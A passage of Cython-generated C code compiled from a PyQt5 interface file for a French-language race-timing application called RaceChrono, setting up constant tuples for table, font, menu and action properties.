* self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) * font = QtGui.QFont() * font.setPointSize(8) # <<<<<<<<<<<<<< * self.TM_T_passage.setFont(font) * self.TM_T_passage.setToolTip("") */ __pyx_tuple__552 = PyTuple_Pack(1, __pyx_int_8); if (unlikely(!__pyx_tuple__552)) __PYX_ERR(0, 874, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__552); __Pyx_GIVEREF(__pyx_tuple__552); /* "Ui_MainWindow.py":876 * font.setPointSize(8) * self.TM_T_passage.setFont(font) * self.TM_T_passage.setToolTip("") # <<<<<<<<<<<<<< * self.TM_T_passage.setStatusTip("") * self.TM_T_passage.setAccessibleName("") */ __pyx_tuple__553 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__553)) __PYX_ERR(0, 876, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__553); __Pyx_GIVEREF(__pyx_tuple__553); /* "Ui_MainWindow.py":877 * self.TM_T_passage.setFont(font) * self.TM_T_passage.setToolTip("") * self.TM_T_passage.setStatusTip("") # <<<<<<<<<<<<<< * self.TM_T_passage.setAccessibleName("") * self.TM_T_passage.setAccessibleDescription("") */ __pyx_tuple__554 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__554)) __PYX_ERR(0, 877, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__554); __Pyx_GIVEREF(__pyx_tuple__554); /* "Ui_MainWindow.py":878 * self.TM_T_passage.setToolTip("") * self.TM_T_passage.setStatusTip("") * self.TM_T_passage.setAccessibleName("") # <<<<<<<<<<<<<< * self.TM_T_passage.setAccessibleDescription("") * self.TM_T_passage.setAutoFillBackground(False) */ __pyx_tuple__555 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__555)) __PYX_ERR(0, 878, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__555); __Pyx_GIVEREF(__pyx_tuple__555); /* "Ui_MainWindow.py":879 * self.TM_T_passage.setStatusTip("") * self.TM_T_passage.setAccessibleName("") * self.TM_T_passage.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.TM_T_passage.setAutoFillBackground(False) * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) */ __pyx_tuple__556 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__556)) __PYX_ERR(0, 879, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__556); __Pyx_GIVEREF(__pyx_tuple__556); /* "Ui_MainWindow.py":880 * self.TM_T_passage.setAccessibleName("") * self.TM_T_passage.setAccessibleDescription("") * self.TM_T_passage.setAutoFillBackground(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) * self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) */ __pyx_tuple__557 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__557)) __PYX_ERR(0, 880, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__557); __Pyx_GIVEREF(__pyx_tuple__557); /* "Ui_MainWindow.py":886 * self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.TM_T_passage.setTabKeyNavigation(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setProperty("showDropIndicator", False) * self.TM_T_passage.setDragDropOverwriteMode(False) */ __pyx_tuple__558 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__558)) __PYX_ERR(0, 886, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__558); __Pyx_GIVEREF(__pyx_tuple__558); /* "Ui_MainWindow.py":887 * self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.TM_T_passage.setTabKeyNavigation(False) * self.TM_T_passage.setProperty("showDropIndicator", False) # <<<<<<<<<<<<<< * self.TM_T_passage.setDragDropOverwriteMode(False) * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) */ __pyx_tuple__559 = PyTuple_Pack(2, __pyx_n_u_showDropIndicator, Py_False); if (unlikely(!__pyx_tuple__559)) __PYX_ERR(0, 887, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__559); __Pyx_GIVEREF(__pyx_tuple__559); /* "Ui_MainWindow.py":888 * self.TM_T_passage.setTabKeyNavigation(False) * self.TM_T_passage.setProperty("showDropIndicator", False) * self.TM_T_passage.setDragDropOverwriteMode(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) */ __pyx_tuple__560 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__560)) __PYX_ERR(0, 888, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__560); __Pyx_GIVEREF(__pyx_tuple__560); /* "Ui_MainWindow.py":892 * self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) * self.TM_T_passage.setWordWrap(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setCornerButtonEnabled(False) * self.TM_T_passage.setRowCount(40) */ __pyx_tuple__561 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__561)) __PYX_ERR(0, 892, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__561); __Pyx_GIVEREF(__pyx_tuple__561); /* "Ui_MainWindow.py":893 * self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) * self.TM_T_passage.setWordWrap(False) * self.TM_T_passage.setCornerButtonEnabled(False) # <<<<<<<<<<<<<< * self.TM_T_passage.setRowCount(40) * self.TM_T_passage.setObjectName("TM_T_passage") */ __pyx_tuple__562 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__562)) __PYX_ERR(0, 893, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__562); __Pyx_GIVEREF(__pyx_tuple__562); /* "Ui_MainWindow.py":894 * self.TM_T_passage.setWordWrap(False) * self.TM_T_passage.setCornerButtonEnabled(False) * self.TM_T_passage.setRowCount(40) # <<<<<<<<<<<<<< * self.TM_T_passage.setObjectName("TM_T_passage") * self.TM_T_passage.setColumnCount(6) */ __pyx_tuple__563 = PyTuple_Pack(1, __pyx_int_40); if (unlikely(!__pyx_tuple__563)) __PYX_ERR(0, 894, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__563); __Pyx_GIVEREF(__pyx_tuple__563); /* "Ui_MainWindow.py":895 * self.TM_T_passage.setCornerButtonEnabled(False) * self.TM_T_passage.setRowCount(40) * self.TM_T_passage.setObjectName("TM_T_passage") # <<<<<<<<<<<<<< * self.TM_T_passage.setColumnCount(6) * item = QtWidgets.QTableWidgetItem() */ __pyx_tuple__564 = PyTuple_Pack(1, __pyx_n_u_TM_T_passage); if (unlikely(!__pyx_tuple__564)) __PYX_ERR(0, 895, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__564); __Pyx_GIVEREF(__pyx_tuple__564); /* "Ui_MainWindow.py":896 * self.TM_T_passage.setRowCount(40) * self.TM_T_passage.setObjectName("TM_T_passage") * self.TM_T_passage.setColumnCount(6) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_tuple__565 = PyTuple_Pack(1, __pyx_int_6); if (unlikely(!__pyx_tuple__565)) __PYX_ERR(0, 896, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__565); __Pyx_GIVEREF(__pyx_tuple__565); /* "Ui_MainWindow.py":900 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setFamily("DejaVu Sans") # <<<<<<<<<<<<<< * font.setPointSize(8) * font.setBold(True) */ __pyx_tuple__566 = PyTuple_Pack(1, __pyx_kp_u_DejaVu_Sans); if (unlikely(!__pyx_tuple__566)) __PYX_ERR(0, 900, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__566); __Pyx_GIVEREF(__pyx_tuple__566); /* "Ui_MainWindow.py":901 * font = QtGui.QFont() * font.setFamily("DejaVu Sans") * font.setPointSize(8) # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_tuple__567 = PyTuple_Pack(1, __pyx_int_8); if (unlikely(!__pyx_tuple__567)) __PYX_ERR(0, 901, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__567); __Pyx_GIVEREF(__pyx_tuple__567); /* "Ui_MainWindow.py":902 * font.setFamily("DejaVu Sans") * font.setPointSize(8) * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_tuple__568 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__568)) __PYX_ERR(0, 902, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__568); __Pyx_GIVEREF(__pyx_tuple__568); /* "Ui_MainWindow.py":903 * font.setPointSize(8) * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(0, item) */ __pyx_tuple__569 = PyTuple_Pack(1, __pyx_int_75); if (unlikely(!__pyx_tuple__569)) __PYX_ERR(0, 903, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__569); __Pyx_GIVEREF(__pyx_tuple__569); /* "Ui_MainWindow.py":909 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_tuple__570 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__570)) __PYX_ERR(0, 909, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__570); __Pyx_GIVEREF(__pyx_tuple__570); /* "Ui_MainWindow.py":910 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(1, item) */ __pyx_tuple__571 = PyTuple_Pack(1, __pyx_int_75); if (unlikely(!__pyx_tuple__571)) __PYX_ERR(0, 910, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__571); __Pyx_GIVEREF(__pyx_tuple__571); /* "Ui_MainWindow.py":916 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_tuple__572 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__572)) __PYX_ERR(0, 916, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__572); __Pyx_GIVEREF(__pyx_tuple__572); /* "Ui_MainWindow.py":917 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(2, item) */ __pyx_tuple__573 = PyTuple_Pack(1, __pyx_int_75); if (unlikely(!__pyx_tuple__573)) __PYX_ERR(0, 917, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__573); __Pyx_GIVEREF(__pyx_tuple__573); /* "Ui_MainWindow.py":923 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_tuple__574 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__574)) __PYX_ERR(0, 923, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__574); __Pyx_GIVEREF(__pyx_tuple__574); /* "Ui_MainWindow.py":924 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(3, item) */ __pyx_tuple__575 = PyTuple_Pack(1, __pyx_int_75); if (unlikely(!__pyx_tuple__575)) __PYX_ERR(0, 924, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__575); __Pyx_GIVEREF(__pyx_tuple__575); /* "Ui_MainWindow.py":930 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_tuple__576 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__576)) __PYX_ERR(0, 930, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__576); __Pyx_GIVEREF(__pyx_tuple__576); /* "Ui_MainWindow.py":931 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(4, item) */ __pyx_tuple__577 = PyTuple_Pack(1, __pyx_int_75); if (unlikely(!__pyx_tuple__577)) __PYX_ERR(0, 931, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__577); __Pyx_GIVEREF(__pyx_tuple__577); /* "Ui_MainWindow.py":937 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_tuple__578 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__578)) __PYX_ERR(0, 937, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__578); __Pyx_GIVEREF(__pyx_tuple__578); /* "Ui_MainWindow.py":938 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(5, item) */ __pyx_tuple__579 = PyTuple_Pack(1, __pyx_int_75); if (unlikely(!__pyx_tuple__579)) __PYX_ERR(0, 938, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__579); __Pyx_GIVEREF(__pyx_tuple__579); /* "Ui_MainWindow.py":941 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(5, item) * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) */ __pyx_tuple__580 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__580)) __PYX_ERR(0, 941, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__580); __Pyx_GIVEREF(__pyx_tuple__580); /* "Ui_MainWindow.py":942 * self.TM_T_passage.setHorizontalHeaderItem(5, item) * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) */ __pyx_tuple__581 = PyTuple_Pack(1, __pyx_int_100); if (unlikely(!__pyx_tuple__581)) __PYX_ERR(0, 942, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__581); __Pyx_GIVEREF(__pyx_tuple__581); /* "Ui_MainWindow.py":943 * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) */ __pyx_tuple__582 = PyTuple_Pack(1, __pyx_int_50); if (unlikely(!__pyx_tuple__582)) __PYX_ERR(0, 943, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__582); __Pyx_GIVEREF(__pyx_tuple__582); /* "Ui_MainWindow.py":944 * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) * self.TM_T_passage.verticalHeader().setVisible(False) */ __pyx_tuple__583 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__583)) __PYX_ERR(0, 944, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__583); __Pyx_GIVEREF(__pyx_tuple__583); /* "Ui_MainWindow.py":945 * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setVisible(False) * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) */ __pyx_tuple__584 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__584)) __PYX_ERR(0, 945, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__584); __Pyx_GIVEREF(__pyx_tuple__584); /* "Ui_MainWindow.py":946 * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) * self.TM_T_passage.verticalHeader().setVisible(False) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) * self.TM_T_passage.verticalHeader().setHighlightSections(False) */ __pyx_tuple__585 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__585)) __PYX_ERR(0, 946, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__585); __Pyx_GIVEREF(__pyx_tuple__585); /* "Ui_MainWindow.py":947 * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) * self.TM_T_passage.verticalHeader().setVisible(False) * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setHighlightSections(False) * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) */ __pyx_tuple__586 = PyTuple_Pack(1, __pyx_int_10); if (unlikely(!__pyx_tuple__586)) __PYX_ERR(0, 947, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__586); __Pyx_GIVEREF(__pyx_tuple__586); /* "Ui_MainWindow.py":948 * self.TM_T_passage.verticalHeader().setVisible(False) * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) * self.TM_T_passage.verticalHeader().setHighlightSections(False) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) * self.horizontalLayout_9.addWidget(self.TM_T_passage) */ __pyx_tuple__587 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__587)) __PYX_ERR(0, 948, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__587); __Pyx_GIVEREF(__pyx_tuple__587); /* "Ui_MainWindow.py":949 * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) * self.TM_T_passage.verticalHeader().setHighlightSections(False) * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) # <<<<<<<<<<<<<< * self.horizontalLayout_9.addWidget(self.TM_T_passage) * self.verticalLayout.addLayout(self.horizontalLayout_9) */ __pyx_tuple__588 = PyTuple_Pack(1, __pyx_int_10); if (unlikely(!__pyx_tuple__588)) __PYX_ERR(0, 949, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__588); __Pyx_GIVEREF(__pyx_tuple__588); /* "Ui_MainWindow.py":955 * MainWindow.setCentralWidget(self.centralwidget) * self.menubar = QtWidgets.QMenuBar(MainWindow) * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(9) */ __pyx_tuple__589 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_800, __pyx_int_19); if (unlikely(!__pyx_tuple__589)) __PYX_ERR(0, 955, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__589); __Pyx_GIVEREF(__pyx_tuple__589); /* "Ui_MainWindow.py":957 * self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 19)) * font = QtGui.QFont() * font.setPointSize(9) # <<<<<<<<<<<<<< * self.menubar.setFont(font) * self.menubar.setObjectName("menubar") */ __pyx_tuple__590 = PyTuple_Pack(1, __pyx_int_9); if (unlikely(!__pyx_tuple__590)) __PYX_ERR(0, 957, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__590); __Pyx_GIVEREF(__pyx_tuple__590); /* "Ui_MainWindow.py":959 * font.setPointSize(9) * self.menubar.setFont(font) * self.menubar.setObjectName("menubar") # <<<<<<<<<<<<<< * self.menuFfff = QtWidgets.QMenu(self.menubar) * self.menuFfff.setObjectName("menuFfff") */ __pyx_tuple__591 = PyTuple_Pack(1, __pyx_n_u_menubar); if (unlikely(!__pyx_tuple__591)) __PYX_ERR(0, 959, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__591); __Pyx_GIVEREF(__pyx_tuple__591); /* "Ui_MainWindow.py":961 * self.menubar.setObjectName("menubar") * self.menuFfff = QtWidgets.QMenu(self.menubar) * self.menuFfff.setObjectName("menuFfff") # <<<<<<<<<<<<<< * self.menuConcurrents = QtWidgets.QMenu(self.menubar) * self.menuConcurrents.setObjectName("menuConcurrents") */ __pyx_tuple__592 = PyTuple_Pack(1, __pyx_n_u_menuFfff); if (unlikely(!__pyx_tuple__592)) __PYX_ERR(0, 961, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__592); __Pyx_GIVEREF(__pyx_tuple__592); /* "Ui_MainWindow.py":963 * self.menuFfff.setObjectName("menuFfff") * self.menuConcurrents = QtWidgets.QMenu(self.menubar) * self.menuConcurrents.setObjectName("menuConcurrents") # <<<<<<<<<<<<<< * self.menuCourses = QtWidgets.QMenu(self.menubar) * self.menuCourses.setObjectName("menuCourses") */ __pyx_tuple__593 = PyTuple_Pack(1, __pyx_n_u_menuConcurrents); if (unlikely(!__pyx_tuple__593)) __PYX_ERR(0, 963, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__593); __Pyx_GIVEREF(__pyx_tuple__593); /* "Ui_MainWindow.py":965 * self.menuConcurrents.setObjectName("menuConcurrents") * self.menuCourses = QtWidgets.QMenu(self.menubar) * self.menuCourses.setObjectName("menuCourses") # <<<<<<<<<<<<<< * self.menuR_sultats = QtWidgets.QMenu(self.menubar) * self.menuR_sultats.setObjectName("menuR_sultats") */ __pyx_tuple__594 = PyTuple_Pack(1, __pyx_n_u_menuCourses); if (unlikely(!__pyx_tuple__594)) __PYX_ERR(0, 965, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__594); __Pyx_GIVEREF(__pyx_tuple__594); /* "Ui_MainWindow.py":967 * self.menuCourses.setObjectName("menuCourses") * self.menuR_sultats = QtWidgets.QMenu(self.menubar) * self.menuR_sultats.setObjectName("menuR_sultats") # <<<<<<<<<<<<<< * MainWindow.setMenuBar(self.menubar) * self.statusbar = QtWidgets.QStatusBar(MainWindow) */ __pyx_tuple__595 = PyTuple_Pack(1, __pyx_n_u_menuR_sultats); if (unlikely(!__pyx_tuple__595)) __PYX_ERR(0, 967, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__595); __Pyx_GIVEREF(__pyx_tuple__595); /* "Ui_MainWindow.py":970 * MainWindow.setMenuBar(self.menubar) * self.statusbar = QtWidgets.QStatusBar(MainWindow) * self.statusbar.setObjectName("statusbar") # <<<<<<<<<<<<<< * MainWindow.setStatusBar(self.statusbar) * self.actionQuitter = QtWidgets.QAction(MainWindow) */ __pyx_tuple__596 = PyTuple_Pack(1, __pyx_n_u_statusbar); if (unlikely(!__pyx_tuple__596)) __PYX_ERR(0, 970, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__596); __Pyx_GIVEREF(__pyx_tuple__596); /* "Ui_MainWindow.py":973 * MainWindow.setStatusBar(self.statusbar) * self.actionQuitter = QtWidgets.QAction(MainWindow) * self.actionQuitter.setShortcut("Ctrl+Q") # <<<<<<<<<<<<<< * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) * self.actionQuitter.setObjectName("actionQuitter") */ __pyx_tuple__597 = PyTuple_Pack(1, __pyx_kp_u_Ctrl_Q); if (unlikely(!__pyx_tuple__597)) __PYX_ERR(0, 973, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__597); __Pyx_GIVEREF(__pyx_tuple__597); /* "Ui_MainWindow.py":975 * self.actionQuitter.setShortcut("Ctrl+Q") * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) * self.actionQuitter.setObjectName("actionQuitter") # <<<<<<<<<<<<<< * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") */ __pyx_tuple__598 = PyTuple_Pack(1, __pyx_n_u_actionQuitter); if (unlikely(!__pyx_tuple__598)) __PYX_ERR(0, 975, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__598); __Pyx_GIVEREF(__pyx_tuple__598); /* "Ui_MainWindow.py":977 * self.actionQuitter.setObjectName("actionQuitter") * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") # <<<<<<<<<<<<<< * self.actionOuvrire = QtWidgets.QAction(MainWindow) * self.actionOuvrire.setObjectName("actionOuvrire") */ __pyx_tuple__599 = PyTuple_Pack(1, __pyx_n_u_actionNouvelle_Course); if (unlikely(!__pyx_tuple__599)) __PYX_ERR(0, 977, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__599); __Pyx_GIVEREF(__pyx_tuple__599); /* "Ui_MainWindow.py":979 * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") * self.actionOuvrire = QtWidgets.QAction(MainWindow) * self.actionOuvrire.setObjectName("actionOuvrire") # <<<<<<<<<<<<<< * self.actionEnregister = QtWidgets.QAction(MainWindow) * self.actionEnregister.setObjectName("actionEnregister") */ __pyx_tuple__600 = PyTuple_Pack(1, __pyx_n_u_actionOuvrire); if (unlikely(!__pyx_tuple__600)) __PYX_ERR(0, 979, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__600); __Pyx_GIVEREF(__pyx_tuple__600); /* "Ui_MainWindow.py":981 * self.actionOuvrire.setObjectName("actionOuvrire") * self.actionEnregister = QtWidgets.QAction(MainWindow) * self.actionEnregister.setObjectName("actionEnregister") # <<<<<<<<<<<<<< * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") */ __pyx_tuple__601 = PyTuple_Pack(1, __pyx_n_u_actionEnregister); if (unlikely(!__pyx_tuple__601)) __PYX_ERR(0, 981, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__601); __Pyx_GIVEREF(__pyx_tuple__601); /* "Ui_MainWindow.py":983 * self.actionEnregister.setObjectName("actionEnregister") * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") # <<<<<<<<<<<<<< * self.menuFfff.addSeparator() * self.menuFfff.addSeparator() */ __pyx_tuple__602 = PyTuple_Pack(1, __pyx_n_u_actionEnregistrer_Sous); if (unlikely(!__pyx_tuple__602)) __PYX_ERR(0, 983, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__602); __Pyx_GIVEREF(__pyx_tuple__602); /* "Ui_MainWindow.py":998 * * self.retranslateUi(MainWindow) * self.Tab_Container.setCurrentIndex(4) # <<<<<<<<<<<<<< * self.toolBox.setCurrentIndex(1) * self.toolBox.layout().setSpacing(6) */ __pyx_tuple__603 = PyTuple_Pack(1, __pyx_int_4); if (unlikely(!__pyx_tuple__603)) __PYX_ERR(0, 998, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__603); __Pyx_GIVEREF(__pyx_tuple__603); /* "Ui_MainWindow.py":999 * self.retranslateUi(MainWindow) * self.Tab_Container.setCurrentIndex(4) * self.toolBox.setCurrentIndex(1) # <<<<<<<<<<<<<< * self.toolBox.layout().setSpacing(6) * self.RB_Add.released.connect(MainWindow.update) */ __pyx_tuple__604 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__604)) __PYX_ERR(0, 999, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__604); __Pyx_GIVEREF(__pyx_tuple__604); /* "Ui_MainWindow.py":1000 * self.Tab_Container.setCurrentIndex(4) * self.toolBox.setCurrentIndex(1) * self.toolBox.layout().setSpacing(6) # <<<<<<<<<<<<<< * self.RB_Add.released.connect(MainWindow.update) * self.Tab_Container.currentChanged['int'].connect(MainWindow.setFocus) */ __pyx_tuple__605 = PyTuple_Pack(1, __pyx_int_6); if (unlikely(!__pyx_tuple__605)) __PYX_ERR(0, 1000, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__605); __Pyx_GIVEREF(__pyx_tuple__605); /* "Ui_MainWindow.py":1007 * def retranslateUi(self, MainWindow): * _translate = QtCore.QCoreApplication.translate * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) # <<<<<<<<<<<<<< * self.label_2.setText(_translate("MainWindow", "Numro:")) * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) */ __pyx_tuple__606 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_RaceChrono_c_Yves_Huguenin_2018); if (unlikely(!__pyx_tuple__606)) __PYX_ERR(0, 1007, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__606); __Pyx_GIVEREF(__pyx_tuple__606); /* "Ui_MainWindow.py":1008 * _translate = QtCore.QCoreApplication.translate * 